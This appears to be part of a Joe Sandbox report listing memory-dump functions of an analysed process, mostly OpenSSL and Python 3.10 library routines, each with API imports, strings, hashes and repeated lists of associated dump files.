Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: memmove
String ID: ..\s\crypto\asn1\tasn_utl.c
API String ID: 2162964266-2379504382
Opcode ID: 80f7f11e3b316dfbd7d920b804096389431341047d719894a09b9ca9723e0522
Instruction ID: 5e7cd95a07a0a2c2570bac217dd64b339ca2703b0bd9fc56090679d43e0248f7
Opcode Fuzzy Hash: 80f7f11e3b316dfbd7d920b804096389431341047d719894a09b9ca9723e0522
Instruction Fuzzy Hash: 4B21A976A0AA4296EA11DF15E0502ADA7A0FF85FC5F084035EA4C0778AEF7DE960DB00

Function 00007FF8A7DE2B53 Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsFree.KERNEL32 ref: 00007FF8A7FD938F

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: Free
String ID:
API String ID: 3978063606-0
Opcode ID: 3eb066bf7efa447baa5fe8b530e2b80a5a952096b54138a78afdc5623d2e6ae2
Instruction ID: 1d4e9ca5f5ed557da3193ff09288ad4615faaf57e0c9f9ec852083dcc2384ebe
Opcode Fuzzy Hash: 3eb066bf7efa447baa5fe8b530e2b80a5a952096b54138a78afdc5623d2e6ae2
Instruction Fuzzy Hash: 09C01225F0700257E7086778885616D1154DF48750F904038F00EC26D1ED1D5959A714

Non-executed Functions

Function 00007FF8A7F94BC0 Relevance: 33.6, APIs: 11, Strings: 8, Instructions: 351stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7F94D55
strspn.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7F94DCF
strspn.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7F94DF3
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7F94E0C
strspn.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7F94E28
strspn.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7F94E41
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7F94E80
strspn.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7F94EB8
strcspn.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7F94ECE
strspn.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7F94EF8

Strings

, xrefs: 00007FF8A7F94E37
Expecting: , xrefs: 00007FF8A7F9510B
,, xrefs: 00007FF8A7F94EC1
Proc-Type:, xrefs: 00007FF8A7F94D4B
ENCRYPTED, xrefs: 00007FF8A7F94DFF
, xrefs: 00007FF8A7F94E1E
..\s\crypto\pem\pem_lib.c, xrefs: 00007FF8A7F94C4E, 00007FF8A7F94C62, 00007FF8A7F94C76, 00007FF8A7F94C93, 00007FF8A7F94CA5, 00007FF8A7F94CBA, 00007FF8A7F94D6C, 00007FF8A7F94D97, 00007FF8A7F94DAB, 00007FF8A7F94E5C, 00007FF8A7F94E97, 00007FF8A7F94F0E, 00007FF8A7F94F47, 00007FF8A7F94F6E, 00007FF8A7F94FFA, 00007FF8A7F9501F, 00007FF8A7F95099, 00007FF8A7F950AB, 00007FF8A7F950CB, 00007FF8A7F950E8
DEK-Info:, xrefs: 00007FF8A7F94E75

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: strspn$strncmp$strcspn
String ID: $ $ ,$..\s\crypto\pem\pem_lib.c$DEK-Info:$ENCRYPTED$Expecting: $Proc-Type:
API String ID: 232339659-387852012
Opcode ID: 7b86f5de9f1d19f5b980fc2aa05a4d4897b8b01c54eb18b956c7880d03887158
Instruction ID: 1264150c773e01b9781a7834f5b59521e0563942868e55d74b30488f251b489a
Opcode Fuzzy Hash: 7b86f5de9f1d19f5b980fc2aa05a4d4897b8b01c54eb18b956c7880d03887158
Instruction Fuzzy Hash: 71F17B62B0AA43A5FB15CF6194402BE33A1FB44BC8F404136CA4D57B99EF3CE626D794

Function 00007FF8A7E90750 Relevance: 26.9, Strings: 21, Instructions: 655COMMON

Download Yara Rule

Strings

:BAD BOOLEAN, xrefs: 00007FF8A7E90BD8
%02X, xrefs: 00007FF8A7E90D15, 00007FF8A7E90E24, 00007FF8A7E90F14, 00007FF8A7E91024
:BAD OBJECT, xrefs: 00007FF8A7E90BA7
cont [ %d ], xrefs: 00007FF8A7E90907
Error in encoding, xrefs: 00007FF8A7E91100
appl [ %d ], xrefs: 00007FF8A7E90916
%-18s, xrefs: 00007FF8A7E90957
%5ld:, xrefs: 00007FF8A7E9082F
:BAD INTEGER, xrefs: 00007FF8A7E90E70
<ASN1 %d>, xrefs: 00007FF8A7E90924
[HEX DUMP]:, xrefs: 00007FF8A7E90CEB
prim: , xrefs: 00007FF8A7E9089C
BAD RECURSION DEPTH, xrefs: 00007FF8A7E907B0
d=%-2d hl=%ld l=%4ld , xrefs: 00007FF8A7E90872
:%u, xrefs: 00007FF8A7E90C03
cons: , xrefs: 00007FF8A7E908A8
(unknown), xrefs: 00007FF8A7E9094D
:BAD ENUMERATED, xrefs: 00007FF8A7E90F62
length is greater than %ld, xrefs: 00007FF8A7E910CE
d=%-2d hl=%ld l=inf , xrefs: 00007FF8A7E90884
priv [ %d ] , xrefs: 00007FF8A7E908F9

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID: %-18s$%02X$%5ld:$(unknown)$:%u$:BAD BOOLEAN$:BAD ENUMERATED$:BAD INTEGER$:BAD OBJECT$<ASN1 %d>$BAD RECURSION DEPTH$Error in encoding$[HEX DUMP]:$appl [ %d ]$cons: $cont [ %d ]$d=%-2d hl=%ld l=%4ld $d=%-2d hl=%ld l=inf $length is greater than %ld$prim: $priv [ %d ]
API String ID: 0-3715720851
Opcode ID: 69eba2a1e52a0edf96a071fc9078b97c4800dc563510518807d1d8f750daea46
Instruction ID: 6f5f5a0bc01b9cc17363be67acd3a5cccdb51a75128609823691bdacd36584dd
Opcode Fuzzy Hash: 69eba2a1e52a0edf96a071fc9078b97c4800dc563510518807d1d8f750daea46
Instruction Fuzzy Hash: 9152C532A0EA43A6EB209FA6E44067EA7A0FB45BC4F500035DE5D47699EF7DF450DB00

Function 00007FF8A7DE3229 Relevance: 21.3, APIs: 14, Instructions: 251fileCOMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8A7F8411E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8A7F8416E
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8A7F8417C
memset.VCRUNTIME140 ref: 00007FF8A7F84198
MultiByteToWideChar.KERNEL32 ref: 00007FF8A7F841BF
GetLastError.KERNEL32 ref: 00007FF8A7F841CC
MultiByteToWideChar.KERNEL32 ref: 00007FF8A7F841F3
MultiByteToWideChar.KERNEL32 ref: 00007FF8A7F84248
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8A7F84259
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8A7F84262
FindFirstFileW.KERNEL32 ref: 00007FF8A7F843CC
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8A7F843EE
FindNextFileW.KERNEL32 ref: 00007FF8A7F84409
WideCharToMultiByte.KERNEL32 ref: 00007FF8A7F84467

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: ByteCharMultiWide_errno$FileFind$ErrorFirstLastNextfreemallocmemset
String ID:
API String ID: 3372420414-0
Opcode ID: 93d5875e5dee341f10784224bd53556331c46b81fbb66407b9d17040cc771b2d
Instruction ID: a5922817dbefe73b7621d5f4b2a39df7ed430dc8131476eabc06d9226e85f4e4
Opcode Fuzzy Hash: 93d5875e5dee341f10784224bd53556331c46b81fbb66407b9d17040cc771b2d
Instruction Fuzzy Hash: BAB1B122A0AA82A6EB118F35D84467D77A4FB49BE4F444335DA6D437E4EF3CD241E314

Function 00007FF8A7DE266C Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 168COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32 ref: 00007FF8A7FADE61
GetEnvironmentVariableW.KERNEL32 ref: 00007FF8A7FADE82
GetEnvironmentVariableW.KERNEL32 ref: 00007FF8A7FADE9D
GetEnvironmentVariableW.KERNEL32 ref: 00007FF8A7FADEB8
GetEnvironmentVariableW.KERNEL32 ref: 00007FF8A7FADF00
WideCharToMultiByte.KERNEL32 ref: 00007FF8A7FADF36
WideCharToMultiByte.KERNEL32 ref: 00007FF8A7FADF8B

Strings

SYSTEMROOT, xrefs: 00007FF8A7FADEA9
.rnd, xrefs: 00007FF8A7FAE03A
RANDFILE, xrefs: 00007FF8A7FADE49
USERPROFILE, xrefs: 00007FF8A7FADE8E
HOME, xrefs: 00007FF8A7FADE70

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: EnvironmentVariable$ByteCharMultiWide
String ID: .rnd$HOME$RANDFILE$SYSTEMROOT$USERPROFILE
API String ID: 2184640988-1666712896
Opcode ID: 45285921c275070c670ca49d0546862358ccffd5776fb92ec22702d428bfbd5c
Instruction ID: 29298bdc039b7e683ae2e0a00c2867a80348b94e02a8b04389e021628f270dad
Opcode Fuzzy Hash: 45285921c275070c670ca49d0546862358ccffd5776fb92ec22702d428bfbd5c
Instruction Fuzzy Hash: 8561C122B0AB82A6EB118F35985017967A5FB55BE4F488231EE2E437D8EF3DE145D310

Function 00007FF8A7DE4C14 Relevance: 16.5, Strings: 13, Instructions: 218COMMON

Download Yara Rule

Strings

none, xrefs: 00007FF8A7EF0E79
%*sTimestamp : , xrefs: 00007FF8A7EF0D71
v1 (0x0), xrefs: 00007FF8A7EF0CFB
%*sSignature : , xrefs: 00007FF8A7EF0EA7
%*sSigned Certificate Timestamp:, xrefs: 00007FF8A7EF0CA9
%*s , xrefs: 00007FF8A7EF0F00
%02X%02X, xrefs: 00007FF8A7EF0EC7
%*sExtensions: , xrefs: 00007FF8A7EF0E5E
%.14s.%03dZ, xrefs: 00007FF8A7EF0E1A
%*sVersion : , xrefs: 00007FF8A7EF0CC2
%*sLog ID : , xrefs: 00007FF8A7EF0D3C
unknown%*s, xrefs: 00007FF8A7EF0CE3
%*sLog : %s, xrefs: 00007FF8A7EF0D23

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID: %*s $%*sExtensions: $%*sLog : %s$%*sLog ID : $%*sSignature : $%*sTimestamp : $%*sVersion : $%*sSigned Certificate Timestamp:$%.14s.%03dZ$%02X%02X$none$unknown%*s$v1 (0x0)
API String ID: 0-3712356246
Opcode ID: 1eae7960afd426dd7c53c8cc79e05da74429f1870874552e0b66dbdf4a464066
Instruction ID: 97e1cd64bfdde11b8efa424d874b6ca32071cdd344f8db91d5fb1b8b0c2983da
Opcode Fuzzy Hash: 1eae7960afd426dd7c53c8cc79e05da74429f1870874552e0b66dbdf4a464066
Instruction Fuzzy Hash: 7991B362B0A786A6EA14DF22A8506BD2760FF44BC0F405136EE5E47B99EF3CF524D700

Function 00007FF8A7CC12F0 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8A7CC1930: PyMem_Malloc.PYTHON310 ref: 00007FF8A7CC199B
Part of subcall function 00007FF8A7CC1930: PyType_IsSubtype.PYTHON310 ref: 00007FF8A7CC1A7D
Part of subcall function 00007FF8A7CC1930: PyType_IsSubtype.PYTHON310 ref: 00007FF8A7CC1ADA

PyMem_Malloc.PYTHON310 ref: 00007FF8A7CC1372
PyMem_Free.PYTHON310 ref: 00007FF8A7CC14DA
PyErr_NoMemory.PYTHON310 ref: 00007FF8A7CC3969
_Py_Dealloc.PYTHON310 ref: 00007FF8A7CC3979

Strings

0, xrefs: 00007FF8A7CC1346

Memory Dump Source

Source File: 00000003.00000002.2577937642.00007FF8A7CC1000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF8A7CC0000, based on PE: true

Associated: 00000003.00000002.2577906735.00007FF8A7CC0000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7CC6000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D24000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D70000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D73000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7DCC000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578220680.00007FF8A7DCF000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578251692.00007FF8A7DD1000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7cc0000_stub.jbxd

Similarity

API ID: Mem_$MallocSubtypeType_$DeallocErr_FreeMemory
String ID: 0
API String ID: 4139299733-4108050209
Opcode ID: c47b8ec2412a8be910319ad7778d4a0bc9d72a483a5c776b82f46738eec7800d
Instruction ID: 3b29275cb920bdd8822c45e5d2d2af8ff1daa8c5f33e8b55b6fcab4c476f6888
Opcode Fuzzy Hash: c47b8ec2412a8be910319ad7778d4a0bc9d72a483a5c776b82f46738eec7800d
Instruction Fuzzy Hash: E0F1F3B2E0E552A6E7648F16E55867E33A8FB557C4F440131EB8E87684DF3CE842E700

Function 00007FF8A7DE5A1F Relevance: 13.6, APIs: 9, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF8A8025EDC
memset.VCRUNTIME140 ref: 00007FF8A8025F00
RtlCaptureContext.KERNEL32 ref: 00007FF8A8025F09
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF8A8025F23
RtlVirtualUnwind.KERNEL32 ref: 00007FF8A8025F64
memset.VCRUNTIME140 ref: 00007FF8A8025F97
IsDebuggerPresent.KERNEL32 ref: 00007FF8A8025FB8
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF8A8025FD9
UnhandledExceptionFilter.KERNEL32 ref: 00007FF8A8025FE4

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
